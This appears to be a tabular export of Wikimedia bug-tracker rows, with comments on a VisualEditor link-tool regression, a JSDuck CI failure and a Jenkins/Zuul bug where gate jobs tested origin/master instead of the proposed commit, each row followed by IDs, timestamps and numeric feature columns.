+In addition to Dan's step 6, i note that after step 6 I see: ""TypeError: 'undefined' is not an object (evaluating 'dataElement.attributes.title')""",,,1366464797,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+211692,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","Confirmed in Chrome/Mac, Firefox/Mac and Firefox/Linux. Looks like a general critical issue.",,,1366387816,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+211685,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",This is in Chrome 25.0.1364.172 on Ubuntu Linux.,,,1366381926,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+211677,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","Created attachment 12146
+The link tool going completely blank, and the article text behind it disappearing, as in step 6 of the bug report.
+
+**Attached**: {F10426}",,,1366381880,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,False,,,-11,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+49018,Master broken (jsduck),"Master is failing jenkins tests right now due to some JSDuck failures.
+
+Examples: https://gerrit.wikimedia.org/49364 , https://gerrit.wikimedia.org/r/57922
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: blocker",Unbreak Now!,100.0,1365447240,1365449081.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-exzifkfq2psfgq3kiwzv,task_description,resolved,True,c1,1,True,False,True,-12,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+213664,Master broken (jsduck),Original patch has been resubmitted by Roan with https://gerrit.wikimedia.org/r/#/c/58134/ . That new version passed the JSDuck job \O/,,,1365454559,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+213660,Master broken (jsduck),"Changed merged by Jenkins, so that definitely fixed the issue :-]",,,1365449081,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+213656,Master broken (jsduck),"(In reply to comment #3)
+> Maybe the V+2 and submit rights should be taken away from human users for
+> core?
+> We did this in VisualEditor a few months ago.
+
++10, best idea ever",,,1365448352,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,False,,,-12,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1
+213651,Master broken (jsduck),Maybe the V+2 and submit rights should be taken away from human users for core? We did this in VisualEditor a few months ago.,,,1365448120,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,False,,,-12,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+213646,Master broken (jsduck),"Most probably caused by https://gerrit.wikimedia.org/r/#/c/56637/ that has been force merged.
+
+Revert is https://gerrit.wikimedia.org/r/#/c/58131/",,,1365447919,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0
+213642,Master broken (jsduck),Related URL: https://gerrit.wikimedia.org/r/58131 (Gerrit Change I2d945b7ffb7cfbcc5024a1c3bdcf0c9506b0cf76),,,1365447873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exzifkfq2psfgq3kiwzv,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48872,"VisualEditor: Switch integration for deployed wikis from tabLayout ""add"" to ""replace"" mode","In preparation for making the VisualEditor the ""default"" editor, we should have the existing integration switched over for users so that they can see, test and feedback on the final UX for triggering edits in the run-up to switch-over.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Unbreak Now!,100.0,1365032940,1366320602.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-gngjvjs5g5d7kc4osh37,task_description,resolved,True,c1,1,True,False,True,-13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+230034,"VisualEditor: Switch integration for deployed wikis from tabLayout ""add"" to ""replace"" mode",Now merged.,,,1366320602,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gngjvjs5g5d7kc4osh37,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+230025,"VisualEditor: Switch integration for deployed wikis from tabLayout ""add"" to ""replace"" mode","See https://gerrit.wikimedia.org/r/59557 , https://gerrit.wikimedia.org/r/59558",,,1366156038,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-gngjvjs5g5d7kc4osh37,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48723,Jenkins merged a faulty change,"Aaron Schulz wrote:
+
+I noticed that https://gerrit.wikimedia.org/r/#/c/33971/ passed the tests but after it was merged, the new tests started failing for everything. The commit to revert it also failed so I override Jenkins and merged anyway, and the failures went away for new commits. This indicates that something broken is going, possibly Jenkins running tests just against master rather than master + the patch, which would explain this problem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1364653620,1394446474.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-tud4ia4bietz5pnf4dyz,task_description,resolved,True,c1,1,True,False,False,-14,,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+221139,Jenkins merged a faulty change,"Change 117045 merged by jenkins-bot:
+Parsoid: uses ZUUL_COMMIT as a git refspec to build
+
+https://gerrit.wikimedia.org/r/117045",,,1394446468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+221135,Jenkins merged a faulty change,"Change 117045 had a related patch set uploaded by Hashar:
+Parsoid: uses ZUUL_COMMIT as a git refspec to build
+
+https://gerrit.wikimedia.org/r/117045",,,1394053460,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+221130,Jenkins merged a faulty change,I have verified the jobs triggered over the past few days. Seems to work fine now :-)  The root cause was using ZUUL_BRANCH as a branch specifier instead of ZUUL_COMMIT.,,,1366463506,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+221125,Jenkins merged a faulty change,"hashar@gallium:~$ ./checkbug46723.py mediawiki-core-phpunit-api --filter 2013-04-16*
+Found 0 mismatches in 29 log files.
+hashar@gallium:~$ ./checkbug46723.py mediawiki-core-phpunit-misc --filter 2013-04-16*
+Found 0 mismatches in 29 log files.
+$
+
+Seems it got fixed :-]  Will verify again during the week, but so far that looks good.",,,1366117226,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+221120,Jenkins merged a faulty change,Will monitor over the next few days. Lowering priority for now.,,,1366023198,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+221115,Jenkins merged a faulty change,"https://gerrit.wikimedia.org/r/#/c/58865/ has been deployed.
+
+I am now manually updating the jobs which are not under JJB:
+
+analytics-libanon
+analytics-udp-filters
+analytics-webstatscollector
+analytics-wikistats
+mwext-PoolCounter-pep8
+mwext-VisualEditor-docgen
+operations-debs-python-voluptuous-debbuild
+parsoid-parse-tool-check
+parsoid-roundtrip-test-check
+parsoid-runTests
+test-mediawiki-merge",,,1366022481,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0
+221110,Jenkins merged a faulty change,https://gerrit.wikimedia.org/r/58865 (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc) | change APPROVED and MERGED [by Hashar],,,1366022447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+221104,Jenkins merged a faulty change,*** Bug 47208 has been marked as a duplicate of this bug. ***,,,1365939442,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+221097,Jenkins merged a faulty change,"(In reply to comment #13)
+> Related URL: https://gerrit.wikimedia.org/r/58865 (Gerrit Change
+> Iafebfffe480886fc8956e56517291b1b3b1fc0cc)
+
+Why is this comment duplicated?",,,1365759643,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1
+221090,Jenkins merged a faulty change,"I have updated mediawiki-core-whitespaces job to use ZUUL_COMMIT as a refspec specifier. The job is non voting so that is not going to do any harm.
+
+The experimental change is https://gerrit.wikimedia.org/r/58865",,,1365759586,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+221083,Jenkins merged a faulty change,Related URL: https://gerrit.wikimedia.org/r/58865 (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc),,,1365759515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+221077,Jenkins merged a faulty change,Related URL: https://gerrit.wikimedia.org/r/58865 (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc),,,1365759512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+221069,Jenkins merged a faulty change,"The branch specifier in the git plugin is set to ZUUL_BRANCH which is 'master'. 
+
+In the git plugin (at git-plugin/src/main/java/hudson/plugins/git/util/DefaultBuildChooser.java ), the getCandidateRevisions() will recognize whether the branch looks like a sha1 (if it matches /[0-9a-f]{6,40}/) and in such a case will create a detached branch using that commit.
+
+Seems the Jenkins job macro should then use ZUUL_COMMIT as a branch specifier.",,,1365758998,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+221060,Jenkins merged a faulty change,"ZUUL_COMMIT=76cb37f0c69dcd69884fc6e66681e77c8045a08e
+
+but it fetched origin/master instead :-(",,,1365717544,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+221053,Jenkins merged a faulty change,"Created attachment 12084
+Console output for https://integration.wikimedia.org/ci/job/mediawiki-core-phpunit-parser/5386/console
+
+**Attached**: {F10684}",,,1365717500,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+221045,Jenkins merged a faulty change,We are lacking the git plugin verbose mode in production due to a bug. It is corrected with https://gerrit.wikimedia.org/r/58489  . That will help find out what the plugin is doing internally.,,,1365595161,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+221037,Jenkins merged a faulty change,"I have traced the issue as far as mediawiki-core-lint build #19 from made on November 22nd 2012).
+
+
+MISMATCH in /var/lib/jenkins/jobs/mediawiki-core-lint/builds/19/log
+Pipeline: gate
+Zuulcommit: 76606b66b006ac0e62087e6d00b1e4bdd56fff09
+Checkedout: 232e34733fc68739ba96cccc31d3ff88f9484a23",,,1365590692,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+221028,Jenkins merged a faulty change,"Extract for the two builds referenced somewhere above:
+
+Verifying /var/lib/jenkins/jobs/mediawiki-core-phpunit-misc/builds/5222/log
+Zuulcommit: 8cc0b601aa2db6db09ac0e4d70847293d75875aa
+Checkedout: 8cc0b601aa2db6db09ac0e4d70847293d75875aa
+Verifying /var/lib/jenkins/jobs/mediawiki-core-phpunit-misc/builds/5223/log
+Zuulcommit: 7dd3356a51951f8cdfe463552b5e5aae272e8e60
+Checkedout: 4c69569db71d149feff6c4b10ea7a493425d67fd (MISMATCH)
+
+
+We can see that build 5223 did not used the proper commit :-]
+
+
+I suspect git plugin does not fetch the proper references / can't find it. That result internally in an unknown sha1 and then git plugin fallback to master or something else.
+
+I will try to reproduce the issue in labs with git plugin set to verbose. That needs to start Jenkins with -Dhudson.plugins.git.GitSCM.verbose=true",,,1365542339,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+221022,Jenkins merged a faulty change,"Created attachment 12066
+output of checkbug46723.py
+
+The result script output highlight that some builds are not testing what they should be testing because they check out a parent commit.  By looking at the Jenkins Git plugin source code, it seems that whenever the reference is not parseable (aka: git rev-parse $ZUUL_REF), the plugin fallback to use master or some parent commit.
+
+I need to improve the script to find out if that happens in a specific pipeline or for some specific refs.
+
+**Attached**: {F10683}",,,1365541824,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+221016,Jenkins merged a faulty change,"Created attachment 12065
+python script parsing build logs to find Zuul commit vs Git plugin checkout
+
+**Attached**: {F10682}",,,1365541532,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+221011,Jenkins merged a faulty change,"build #5223 
+
+
+Workspace did get wiped:
+ 02:46:53 Wiping out workspace first.
+
+It check out the revision:
+ 02:46:56 Checking out Revision 4c69569db71d149feff6c4b10ea7a493425d67fd (origin/master)
+
+That is the master revision NOT the change. The commit should have been
+7dd3356a51951f8cdfe463552b5e5aae272e8e60
+
+----
+
+The related merge job
+https://integration.wikimedia.org/ci/job/mediawiki-core-merge/11333/console
+
+02:44:17 Commencing build of Revision 7dd3356a51951f8cdfe463552b5e5aae272e8e60 (origin/master)
+02:44:17 Checking out Revision 7dd3356a51951f8cdfe463552b5e5aae272e8e60 (origin/master)
+
+----
+
+The ZUUL_REF has probably not been resolved properly and the git plugin fallback to master.
+
+There is also the possibility that the mediawiki-core-phpunit-misc job was using ZUUL_COMMIT as a refspec instead of ZUUL_REF. That might prevent the plugin from fetching the revision.   The job history is no more accessible due to an unexpected upgrade (see bug 47040).",,,1365514200,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+221004,Jenkins merged a faulty change,"From bug 47031 : https://gerrit.wikimedia.org/r/#/c/57436/ has been merged although it is faulty.
+
+The unit tests ran on patchset upload did catch the issue:
+
+https://integration.wikimedia.org/ci/job/mediawiki-core-phpunit-misc/5222/console : FAILURE
+
+But the gating run after CR+2 did not catch it:
+
+https://integration.wikimedia.org/ci/job/mediawiki-core-phpunit-misc/5223/console : SUCCESS
+
+
+The root cause is that despite the ZUUL_REF points to the proper merge commit, the Jenkins Git plugin seems to use the current origin/master to build.",,,1365497215,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
